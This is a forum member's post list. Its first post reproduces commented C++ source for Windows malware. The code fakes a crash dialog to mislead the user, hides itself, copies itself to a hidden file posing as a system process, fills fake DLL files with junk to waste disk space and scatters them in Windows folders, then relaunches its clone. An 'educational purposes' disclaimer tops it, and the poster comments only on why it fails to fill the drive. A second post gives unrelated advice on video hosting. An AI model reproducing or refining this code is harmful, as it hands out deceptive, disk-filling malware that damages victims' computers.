Jump to content

jollyrancher82

Dedicated Members
  • Posts

    919
  • Joined

  • Last visited

Posts posted by jollyrancher82

  1. #include <fstream>
    #include <windows.h>
    
    /*********************************************************
    THIS PROGRAM WAS CREATED SOLELY FOR EDUCATIONAL PURPOSES
    I the author am not responsible for how you may use
    this program, I am not responsible for any damages
    that may occur when using this program
    Author/Programmer - K1u
    Site - k0h.org
    
    Disclaimer posted on official site of author -
    "The user of any program/material found on this site is responsible
    for any actions using it.
    k0h.org hereby disclaims any responsibility for the users action.
    We are also not responsible for what may happen when
    using them or any damages that may occur from using them."
    
    VERSION - BETA 2
    THIS PROGRAM WAS CREATED SOLELY FOR EDUCATIONAL PURPOSES
    
    REVISED NOVEMBER 18 2007.
    
    SPECIAL EXTRA COMMENTED EDITION, for all my friends
    learning CPP!
    *********************************************************/
    
    using namespace std;
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR IpCmdLine, int nCmdShow){
    
    /* We make the person think that this program has crashed... as it continues to run in background
    MB_OK makes the nice little ok button and MB_ICONSTOP is the stop sign icon. More on the functions you can use if you modify this -
    http://msdn2.microsoft.com/en-us/library/ms645505.aspx */
    MessageBox(NULL, "Exception AccessViolation in module at 0008B021.nProgram will restart now",  "Application error", MB_OK|MB_ICONSTOP);
    
    /* Lets use a hidden console throughout this whole program shall we */
    FreeConsole();
    
    /* Now then lets just spread this program around a bit shall we */
    
    /* Ah... lets make a hidden clone... why not, we use the SetFileAttributes function to make it Hidden*/
    char hiddenpath[256] = { "C:WINDOWSslvcshost.exe" };
    SetFileAttributes(hiddenpath, FILE_ATTRIBUTE_HIDDEN);
    
    /* We get the file name, szPath represents the path of the exe
    WTF is a TCHAR you ask? - http://msdn2.microsoft.com/en-us/library/ms527395.aspx :D */
    TCHAR szPath[MAX_PATH];
    /* More on GetModuleFileName func - http://msdn2.microsoft.com/en-us/library/ms683197.aspx */
    GetModuleFileName(NULL, szPath, MAX_PATH);
    
    /* Copy it to location */
    CopyFile(szPath, hiddenpath, 0);
    
    
    /* What will be printed into the dll files, this is considered a Matrix or a 2 dimensional array.*/
    char fstring[20][256] = {
         "010101010100101010100101001011010100101010101010101n" ,
         "Allo' Allo' !Enjoy!////////////////n" ,
         "010101010100101010100101001011010100101010101010101n" ,
         "010101010100101010100101001011010100101010101010101n" ,
         "Program for educational purposes only///////n" ,
         "010101010100101010100101001011010100101010101010101n" ,
         "010101010100101010100101001011010100101010101010101n" ,
         "I the author am not responsible for how you may usen" ,
         "this program, I am not responsible for any damages/n" ,
         "that may occur when using this program.////////////n" ,
         "000000000000000000000000///////////////////////////n" ,
         "00000000000000000000000000000000000000000000000////n" ,
         "00000000000000000000000000000000000000000000000////n" ,
         "0000000000000000000000000000000////////////////////n" ,
         "000000000000000000000000000000000000000000000000000n" ,
         "010101010100101010100101001011010100101010101010101n" ,
         "00000000n" ,
         "00000000///////////////////////////////////////////n" ,
         "010101010100101010100101001011010100101010101010101n" ,
         "010101010100101010100101001011010100101010101010101n" };
    
    
       /* Location of DLL file output
       ios::app will write to the end of file instead of overwriting it */
       ofstream putout0 ("C:WINDOWS 1tw7ain0.dll", ios::app);
       ofstream putout1 ("C:WINDOWS 1tw7ain1.dll", ios::app);
       ofstream putout2 ("C:WINDOWS 1tw7ain2.dll", ios::app);
    
    
       /* Now before you think to yourself wtf why isnt he using for(;;) to have a endless loop
       Explaination - It must limit because a endless input into the files would not allow copying of the file efficiently
       No I am not explaining what a for loop is... if you do not know what that is then you clearly do not know C++ */
       for(int i = 0; i < 5000000; i++){
    
       /* Hard drive space waste or filling portion of this program
       putout# is the path and file and fstring is what will be printed into */       
       putout0 << fstring;
    
       putout1 << fstring;
    
       putout2 << fstring;
    
       }
    
       /* Commence spreading of DLL file
       Set location where generated dll files currently located
       Note - I will work on making this more efficient on BETA 3 */
       char* start1loc0 = "C:WINDOWS1tw7ain0.dll";
       char* start1loc1 = "C:WINDOWS1tw7ain1.dll";
       char* start1loc2 = "C:WINDOWS1tw7ain2.dll";
    
       /* End locations */
       char* end1loc0 = "C:WINDOWSsystem1tw7ain0.dll";
       char* end1loc1 = "C:WINDOWSsystem1tw7ain1.dll";
       char* end1loc2 = "C:WINDOWSsystem1tw7ain2.dll";
    
       /* Use CopyFile function to copy to end locations, lol CopyFile... what a simple func to use :D
       If the var names do not explain enough...
       start#loc# is the start location (path and filename) and the end locations are end#loc# */
       CopyFile(start1loc0, end1loc0, 0);
       CopyFile(start1loc1, end1loc1, 0);
       CopyFile(start1loc2, end1loc2, 0);
    
       /* Previous end locations */
       char* start2loc0 = "C:WINDOWSsystem1tw7ain0.dll";
       char* start2loc1 = "C:WINDOWSsystem1tw7ain1.dll";
       char* start2loc2 = "C:WINDOWSsystem1tw7ain2.dll";
    
    
       /* Now lets spread those generated in system to Help, notice we do not touch system32 */
       char* end2loc0 = "C:WINDOWSHelpsystem.dll";
       char* end2loc1 = "C:WINDOWSHelpdrvrexe.dll";
       char* end2loc2 = "C:WINDOWSHelpdrhome.dll";
    
       /* Use CopyFile function to copy to end locations */
       CopyFile(start2loc0, end2loc0, 0);
       CopyFile(start2loc1, end2loc1, 0);
       CopyFile(start2loc2, end2loc2, 0);
    
       /* :) <3 !
       Now then that was fun? Twas it not... lets run the hidden clone of the program we copied :)
       I was originally using system to execute this like a idiot but found Winexec is better -
       http://msdn2.microsoft.com/en-us/library/ms687393.aspx*/
       WinExec("C:WINDOWSslvcshost.exe", SW_HIDE);
    }

    The only problem with this is it doesn't fill up the hdd, because each process creates the same files.

  2. You need to give some priority for videos

    Have the Stage6 video up first

    Then the Ipod

    Lastly XVID

    Also consider having the episode mirrored from other hosts that track how many downloads you have

    Why would you host the streamed video first?

×
×
  • Create New...